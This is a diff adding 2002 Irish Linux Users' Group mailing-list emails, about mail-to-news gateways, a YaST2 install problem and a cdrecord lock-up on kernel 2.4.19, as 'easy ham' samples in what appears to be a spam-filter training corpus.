a/bayes/spamham/easy_ham_2/00325.419046d511bd4b995fdec3057ae996b1 b/bayes/spamham/easy_ham_2/00325.419046d511bd4b995fdec3057ae996b1 new file mode 100644 index 0000000..b2931c9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00325.419046d511bd4b995fdec3057ae996b1 @@ -0,0 +1,70 @@ +From ilug-admin@linux.ie Mon Aug 12 11:05:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7AFA14414F + for ; Mon, 12 Aug 2002 05:55:51 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:55:51 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79MKeb27708 for + ; Fri, 9 Aug 2002 23:20:40 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA32176; Fri, 9 Aug 2002 23:17:26 +0100 +Received: from hawk.dcu.ie (mail.dcu.ie [136.206.1.5]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA32148 for ; Fri, + 9 Aug 2002 23:17:21 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host mail.dcu.ie [136.206.1.5] + claimed to be hawk.dcu.ie +Received: from prodigy.redbrick.dcu.ie (136.206.15.10) by hawk.dcu.ie + (6.0.040) id 3D36BB4A00082CEE; Fri, 9 Aug 2002 23:17:18 +0100 +Received: by prodigy.redbrick.dcu.ie (Postfix, from userid 666) id + A18E3DA4A; Fri, 9 Aug 2002 23:17:18 +0100 (IST) +Date: Fri, 9 Aug 2002 23:17:18 +0100 +From: =?iso-8859-1?Q?Colm_MacC=E1rthaigh?= +To: Paul Linehan +Cc: John Reilly , + "Irish Linux Users' Group" +Subject: Re: [ILUG] ILUG newsgroup(s)? +Message-Id: <20020809231718.B2206@prodigy.Redbrick.DCU.IE> +References: <001801c23fd4$5dedfe10$ea5012ac@xelector.com> + <20020809220015.80151.qmail@web13901.mail.yahoo.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <20020809220015.80151.qmail@web13901.mail.yahoo.com>; + from plinehan@yahoo.com on Sat, Aug 10, 2002 at 12:00:15AM +0200 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Sat, Aug 10, 2002 at 12:00:15AM +0200, Paul Linehan wrote: +> I suppose it is - however, nobody knows that +> this message is a response to your one or a +> follow-up to my own first message. + +Get a decent mail client, I can tell what it is +extremely easily. + +> With a newsgroup structure, this is obvious. +> +> This helps the reader eliminate threads which +> are irrelevant to them or whatever. + +*looks at mutt* + +-- +colmmacc@redbrick.dcu.ie PubKey: colmmacc+pgp@redbrick.dcu.ie +Web: http://devnull.redbrick.dcu.ie/ + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00326.154fca574d007d1007d7024903576c8d b/bayes/spamham/easy_ham_2/00326.154fca574d007d1007d7024903576c8d new file mode 100644 index 0000000..88ae4d8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00326.154fca574d007d1007d7024903576c8d @@ -0,0 +1,62 @@ +From ilug-admin@linux.ie Mon Aug 12 11:05:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 954FA4414E + for ; Mon, 12 Aug 2002 05:55:50 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:55:50 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79MJib27680 for + ; Fri, 9 Aug 2002 23:19:44 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA32051; Fri, 9 Aug 2002 23:15:54 +0100 +Received: from hawk.dcu.ie (mail.dcu.ie [136.206.1.5]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA32018 for ; Fri, + 9 Aug 2002 23:15:47 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host mail.dcu.ie [136.206.1.5] + claimed to be hawk.dcu.ie +Received: from prodigy.redbrick.dcu.ie (136.206.15.10) by hawk.dcu.ie + (6.0.040) id 3D36BB4A00082CCF; Fri, 9 Aug 2002 23:15:46 +0100 +Received: by prodigy.redbrick.dcu.ie (Postfix, from userid 666) id + 288A8DA4A; Fri, 9 Aug 2002 23:15:46 +0100 (IST) +Date: Fri, 9 Aug 2002 23:15:45 +0100 +From: =?iso-8859-1?Q?Colm_MacC=E1rthaigh?= +To: Paul Linehan +Cc: ilug@linux.ie +Subject: Re: [ILUG] ILUG newsgroup(s)? +Message-Id: <20020809231545.A2206@prodigy.Redbrick.DCU.IE> +References: <20020709103958.GA670@skynet.ie> + <20020809180733.63093.qmail@web13906.mail.yahoo.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <20020809180733.63093.qmail@web13906.mail.yahoo.com>; + from plinehan@yahoo.com on Fri, Aug 09, 2002 at 08:07:33PM +0200 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, Aug 09, 2002 at 08:07:33PM +0200, Paul Linehan wrote: +> Is there any way that the mailing list can be +> turned into newsgroup? + +yep, mail to news gateways are common. + +http://www.tldp.org/HOWTO/mini/Mail2News.html + +-- +colmmacc@redbrick.dcu.ie PubKey: colmmacc+pgp@redbrick.dcu.ie +Web: http://devnull.redbrick.dcu.ie/ + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00327.1983f402e45739e4ef3afa5aea4f3353 b/bayes/spamham/easy_ham_2/00327.1983f402e45739e4ef3afa5aea4f3353 new file mode 100644 index 0000000..9a5ee9a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00327.1983f402e45739e4ef3afa5aea4f3353 @@ -0,0 +1,59 @@ +From ilug-admin@linux.ie Mon Aug 12 11:05:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 577F544150 + for ; Mon, 12 Aug 2002 05:55:52 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:55:52 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79NMZb29786 for + ; Sat, 10 Aug 2002 00:22:35 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id AAA01947; Sat, 10 Aug 2002 00:18:18 +0100 +Received: from hotmail.com (f25.law11.hotmail.com [64.4.17.25]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id AAA01912 for ; + Sat, 10 Aug 2002 00:18:12 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host f25.law11.hotmail.com + [64.4.17.25] claimed to be hotmail.com +Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; + Fri, 9 Aug 2002 16:17:40 -0700 +Received: from 213.116.42.196 by lw11fd.law11.hotmail.msn.com with HTTP; + Fri, 09 Aug 2002 23:17:40 GMT +X-Originating-Ip: [213.116.42.196] +From: "Michael Treacy" +To: bryanroycroft@yahoo.com.au, ilug@linux.ie +Subject: Re: [ILUG] yast2 +Date: Fri, 09 Aug 2002 23:17:40 +0000 +MIME-Version: 1.0 +Content-Type: text/plain; format=flowed +Message-Id: +X-Originalarrivaltime: 09 Aug 2002 23:17:40.0321 (UTC) FILETIME=[F4EAFD10:01C23FFA] +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +>has anyone had a problem with Yast2 not being able to +>mount a source medium for installing new packages, on +>suse 8.0? + +Nope, can't say that I had any problems installing SuSE 8.0. Just stuck in +the DVD, did the install and WHAM, got a working distro. QUite an impressive +one too, by the way! + +Mike + +_________________________________________________________________ +Send and receive Hotmail on your mobile device: http://mobile.msn.com + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00328.543d22932dda79526c3a729f7a96dc26 b/bayes/spamham/easy_ham_2/00328.543d22932dda79526c3a729f7a96dc26 new file mode 100644 index 0000000..e1ae654 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00328.543d22932dda79526c3a729f7a96dc26 @@ -0,0 +1,99 @@ +From ilug-admin@linux.ie Mon Aug 12 11:05:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 38E6B44151 + for ; Mon, 12 Aug 2002 05:55:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:55:53 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7A12Mb02513 for + ; Sat, 10 Aug 2002 02:02:22 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id BAA05330; Sat, 10 Aug 2002 01:59:24 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail04.svc.cra.dublin.eircom.net + (mail04.svc.cra.dublin.eircom.net [159.134.118.20]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id BAA05297 for ; Sat, + 10 Aug 2002 01:59:18 +0100 +Received: (qmail 42074 messnum 1241854 invoked from + network[159.134.112.115/p112-115.as1.bdt.dublin.eircom.net]); + 10 Aug 2002 00:58:46 -0000 +Received: from p112-115.as1.bdt.dublin.eircom.net (HELO calm.mc) + (159.134.112.115) by mail04.svc.cra.dublin.eircom.net (qp 42074) with SMTP; + 10 Aug 2002 00:58:46 -0000 +Received: from mconry by calm.mc with local (Exim 3.35 #1 (Debian)) id + 17dKab-0000l3-00 for ; Sat, 10 Aug 2002 01:58:45 +0100 +Date: Sat, 10 Aug 2002 01:58:45 +0100 +From: Michael Conry +To: ilug@linux.ie +Message-Id: <20020810005844.GA652@calm.mc> +Reply-To: michael.conry@ucd.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.3.28i +Subject: [ILUG] cdrecord + 2.4.19 = hard-lock +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi all, +I've run into a fairly intractable (for me) problem, and was wondering +if anybody could give me pointers on how to deal with it. + +I am running Debian Woody on a Pentium III IDE based system. +I have a Ricoh 7083a ide cd rewriter, which I use using cdrecord and the +scsi over ide kernel modules. I was running kernel 2.4.18 until +probably last weekend when I noticed 2.4.19 was out. Downloaded patch +and installed new kernel with no real problems. This morning I went to +burn a CDROM, and the system locked hard. Rebooting into 2.4.18 allowed +cdburning to work fine. + +This problem is very reproducible (on my system at least). +the cdrecord command I was using was + cdrecord -v speed=4 blank=fast dev=0,1,0 -data bak.iso +The blanking appears to go ok, but when it tries to write data, it just +locks up the entire system (can't ping it from outside even). AFAICS, +the system just stops. Hard reset is only way back in, and when it does +reboot, I cannot see anything useful in any logfiles (/var/log/messages +/var/log/kern.log /var/log/syslog, at any rate). +cdrecord -scanbus works fine and reports the two pseudo-scsi devices (my +cdr drive and my cdrw). +The same lock occurs even if there is no blanking. + +I tried upgrading to 2.4.20-pre1-ac1 (on assumption that if there was a +kernel issue it might have been fixed in these patches), but it gives +the same error. I also downloaded and compiled the source for +cdrecord 1.1.10, and installed it instead of the debian package (i was +wondering if maybe there was some compile option the packager had used +which maybe would cause the problem), and still the problem persisted. + +Anyway, I'm completely stumped. Google searching has not done me much +good, and I'm a little bit lost. What I'd like to know is +a) How to fix the problem ;-) +b) Is this likely to be an application or kernel problem? The severity + of the crash would make me suspect it is a kernel problem, but I'm + not very knowledgeable on these things. +c) Should I post a description of this to the kernel mailing list? If + this is an appropriate course of action, are there any tips (beyond + the guidelines on kernel.org)? + +Like I said, I'm lost on this one, so any info is very gratefully +received. +mick +-- +Michael Conry Ph.:+353-1-7161987, Web: http://www.acronymchile.com +Key fingerprint = 5508 B563 6791 5C84 A947 CB01 997B 3598 09DE 502C + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00329.7bc61b54966e05a22ef6d357de62f85c b/bayes/spamham/easy_ham_2/00329.7bc61b54966e05a22ef6d357de62f85c new file mode 100644 index 0000000..599288d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00329.7bc61b54966e05a22ef6d357de62f85c @@ -0,0 +1,122 @@ +From ilug-admin@linux.ie Mon Aug 12 11:05:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 58EC444152 + for ; Mon, 12 Aug 2002 05:55:54 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:55:54 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7ABHLb18973 for + ; Sat, 10 Aug 2002 12:17:21 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA25741; Sat, 10 Aug 2002 12:13:20 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay06.indigo.ie (relay06.indigo.ie [194.125.133.230]) by + lugh.tuatha.org (8.9.3/8.9.3) with SMTP id MAA25706 for ; + Sat, 10 Aug 2002 12:13:15 +0100 +Received: (qmail 45930 messnum 1048917 invoked from + network[194.125.174.76/ts09-076.dublin.indigo.ie]); 10 Aug 2002 11:13:13 + -0000 +Received: from ts09-076.dublin.indigo.ie (HELO tux.indigo.ie) + (194.125.174.76) by relay06.indigo.ie (qp 45930) with SMTP; 10 Aug 2002 + 11:13:13 -0000 +Received: from tux (tux [127.0.0.1]) by tux.indigo.ie (Postfix) with ESMTP + id 0FFEE26819D for ; Sat, 10 Aug 2002 12:11:51 +0100 (IST) +Subject: Re: [ILUG] cdrecord + 2.4.19 = hard-lock +From: FRLinux +To: ilug@linux.ie +In-Reply-To: <20020810005844.GA652@calm.mc> +References: <20020810005844.GA652@calm.mc> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 +Date: 10 Aug 2002 12:11:50 +0100 +Message-Id: <1028977911.4634.2.camel@tux> +MIME-Version: 1.0 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hello, + +I have been using 2.4.19 since a couple of days on a Mandrake 8.2 with +standard RPMs for cdrecord and it didn't give any hard locks on it at +all, i've already burnt a couple of CDs. + +Steph + +On Sat, 2002-08-10 at 01:58, Michael Conry wrote: +> Hi all, +> I've run into a fairly intractable (for me) problem, and was wondering +> if anybody could give me pointers on how to deal with it. +> +> I am running Debian Woody on a Pentium III IDE based system. +> I have a Ricoh 7083a ide cd rewriter, which I use using cdrecord and the +> scsi over ide kernel modules. I was running kernel 2.4.18 until +> probably last weekend when I noticed 2.4.19 was out. Downloaded patch +> and installed new kernel with no real problems. This morning I went to +> burn a CDROM, and the system locked hard. Rebooting into 2.4.18 allowed +> cdburning to work fine. +> +> This problem is very reproducible (on my system at least). +> the cdrecord command I was using was +> cdrecord -v speed=4 blank=fast dev=0,1,0 -data bak.iso +> The blanking appears to go ok, but when it tries to write data, it just +> locks up the entire system (can't ping it from outside even). AFAICS, +> the system just stops. Hard reset is only way back in, and when it does +> reboot, I cannot see anything useful in any logfiles (/var/log/messages +> /var/log/kern.log /var/log/syslog, at any rate). +> cdrecord -scanbus works fine and reports the two pseudo-scsi devices (my +> cdr drive and my cdrw). +> The same lock occurs even if there is no blanking. +> +> I tried upgrading to 2.4.20-pre1-ac1 (on assumption that if there was a +> kernel issue it might have been fixed in these patches), but it gives +> the same error. I also downloaded and compiled the source for +> cdrecord 1.1.10, and installed it instead of the debian package (i was +> wondering if maybe there was some compile option the packager had used +> which maybe would cause the problem), and still the problem persisted. +> +> Anyway, I'm completely stumped. Google searching has not done me much +> good, and I'm a little bit lost. What I'd like to know is +> a) How to fix the problem ;-) +> b) Is this likely to be an application or kernel problem? The severity +> of the crash would make me suspect it is a kernel problem, but I'm +> not very knowledgeable on these things. +> c) Should I post a description of this to the kernel mailing list? If +> this is an appropriate course of action, are there any tips (beyond +> the guidelines on kernel.org)? +> +> Like I said, I'm lost on this one, so any info is very gratefully +> received. +> mick +> -- +> Michael Conry Ph.:+353-1-7161987, Web: http://www.acronymchile.com +> Key fingerprint = 5508 B563 6791 5C84 A947 CB01 997B 3598 09DE 502C +> +> -- +> Irish Linux Users' Group: ilug@linux.ie +> http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +> List maintainer: listmaster@linux.ie +> +-- +Mail sent on Mandkrake 8.2 ext3 k2419 AMD 1.4 +"Piece by Piece, the penguins are taking my sanity apart ..." +http://frlinux.net - frlinux@frlinux.net +http://gentoofr.org - Portail Francais sur Gentoo Linux + + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00330.13b8c36b44bd1957b45b1c8be336b42c b/bayes/spamham/easy_ham_2/00330.13b8c36b44bd1957b45b1c8be336b42c new file mode 100644 index 0000000..bbe96ec --- /dev/null +++ b/bayes/spamham/easy_ham_2/00330.13b8c36b44bd1957b45b1c8be336b42c @@ -0,0 +1,69 @@ +From ilug-admin@linux.ie Mon Aug 12 11:05:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9179F44153 + for ; Mon, 12 Aug 2002 05:55:55 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:55:55 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7AD5Jb22057 for + ; Sat, 10 Aug 2002 14:05:19 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA29305; Sat, 10 Aug 2002 14:01:56 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail05.svc.cra.dublin.eircom.net + (mail05.svc.cra.dublin.eircom.net [159.134.118.21]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id OAA29271 for ; Sat, + 10 Aug 2002 14:01:51 +0100 +Received: (qmail 12694 messnum 556715 invoked from + network[159.134.112.59/p112-59.as1.bdt.dublin.eircom.net]); 10 Aug 2002 + 13:01:20 -0000 +Received: from p112-59.as1.bdt.dublin.eircom.net (HELO calm.mc) + (159.134.112.59) by mail05.svc.cra.dublin.eircom.net (qp 12694) with SMTP; + 10 Aug 2002 13:01:20 -0000 +Received: from mconry by calm.mc with local (Exim 3.35 #1 (Debian)) id + 17dVrr-0000y0-00 for ; Sat, 10 Aug 2002 14:01:19 +0100 +Date: Sat, 10 Aug 2002 14:01:19 +0100 +From: Michael Conry +To: ilug@linux.ie +Subject: Re: [ILUG] cdrecord + 2.4.19 = hard-lock +Message-Id: <20020810130119.GA3707@calm.mc> +Reply-To: michael.conry@ucd.ie +References: <20020810005844.GA652@calm.mc> <1028977911.4634.2.camel@tux> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <1028977911.4634.2.camel@tux> +User-Agent: Mutt/1.3.28i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On 0020 +0100 %{!Sat, Aug 10, 2002 at 12:11:50PM +0100}, FRLinux wrote: +> Hello, +> +> I have been using 2.4.19 since a couple of days on a Mandrake 8.2 with +> standard RPMs for cdrecord and it didn't give any hard locks on it at +> all, i've already burnt a couple of CDs. +Thanks for that. I'd sort of suspected that if it was a widespread +problem it would have already been fixed. Starting to look more likely +it is a mistake/misconfiguration on my part, though I still don't know +where to look for the mistake/misconfiguration. +m + +-- +Michael Conry Ph.:+353-1-7161987, Web: http://www.acronymchile.com +Key fingerprint = 5508 B563 6791 5C84 A947 CB01 997B 3598 09DE 502C + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00331.6cfb3936c79bcb295dc5e50bcd7c7561 b/bayes/spamham/easy_ham_2/00331.6cfb3936c79bcb295dc5e50bcd7c7561 new file mode 100644 index 0000000..9bc4436 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00331.6cfb3936c79bcb295dc5e50bcd7c7561 @@ -0,0 +1,62 @@ +From ilug-admin@linux.ie Mon Aug 12 11:05:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 79B5744154 + for ; Mon, 12 Aug 2002 05:55:56 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:55:56 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7AFWlb25763 for + ; Sat, 10 Aug 2002 16:32:47 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA02507; Sat, 10 Aug 2002 16:29:22 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA02475 for ; Sat, + 10 Aug 2002 16:29:15 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id QAA28904 for ; Sat, + 10 Aug 2002 16:28:44 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g7AFT5u04356 for ilug@linux.ie; Sat, 10 Aug 2002 16:29:05 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Sat, 10 Aug 2002 16:29:05 +0100 +From: "John P. Looney" +To: ilug@linux.ie +Subject: Re: [ILUG] cdrecord + 2.4.19 = hard-lock +Message-Id: <20020810152905.GA4246@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: ilug@linux.ie +References: <20020810005844.GA652@calm.mc> <1028977911.4634.2.camel@tux> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <1028977911.4634.2.camel@tux> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Sat, Aug 10, 2002 at 12:11:50PM +0100, FRLinux mentioned: +> I have been using 2.4.19 since a couple of days on a Mandrake 8.2 with +> standard RPMs for cdrecord and it didn't give any hard locks on it at +> all, i've already burnt a couple of CDs. + + Stephane, don't you have a SCSI CD burner though ? + +John + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00332.371b6f513942ac2fb91c136e1ffb9cc8 b/bayes/spamham/easy_ham_2/00332.371b6f513942ac2fb91c136e1ffb9cc8 new file mode 100644 index 0000000..92415d6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00332.371b6f513942ac2fb91c136e1ffb9cc8 @@ -0,0 +1,49 @@ +From ilug-admin@linux.ie Mon Aug 12 11:06:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 348F944156 + for ; Mon, 12 Aug 2002 05:55:58 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:55:58 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7AM6Ib05234 for + ; Sat, 10 Aug 2002 23:06:18 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA16592; Sat, 10 Aug 2002 23:03:07 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from web21105.mail.yahoo.com (web21105.mail.yahoo.com + [216.136.227.107]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id XAA16551 + for ; Sat, 10 Aug 2002 23:02:59 +0100 +Message-Id: <20020810220258.27450.qmail@web21105.mail.yahoo.com> +Received: from [159.134.209.185] by web21105.mail.yahoo.com via HTTP; + Sun, 11 Aug 2002 08:02:57 EST +Date: Sun, 11 Aug 2002 08:02:57 +1000 (EST) +From: =?iso-8859-1?q?bryan=20roycroft?= +To: ilug@linux.ie +In-Reply-To: <200208100528.GAA14378@lugh.tuatha.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Subject: [ILUG] (no subject) +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +the problem with yast2 comes when you try to install +off a harddissssk, its like its already mounted it? + +http://digital.yahoo.com.au - Yahoo! Digital How To +- Get the best out of your PC! + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00333.754374109f71535b61b3c5b6db54365a b/bayes/spamham/easy_ham_2/00333.754374109f71535b61b3c5b6db54365a new file mode 100644 index 0000000..c95a85c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00333.754374109f71535b61b3c5b6db54365a @@ -0,0 +1,64 @@ +From ilug-admin@linux.ie Mon Aug 12 11:06:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E9BD944157 + for ; Mon, 12 Aug 2002 05:55:58 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:55:58 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7AMxLb06598 for + ; Sat, 10 Aug 2002 23:59:21 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA18783; Sat, 10 Aug 2002 23:56:15 +0100 +Received: from mail.go2.ie ([62.17.153.101]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA18760 for ; Sat, + 10 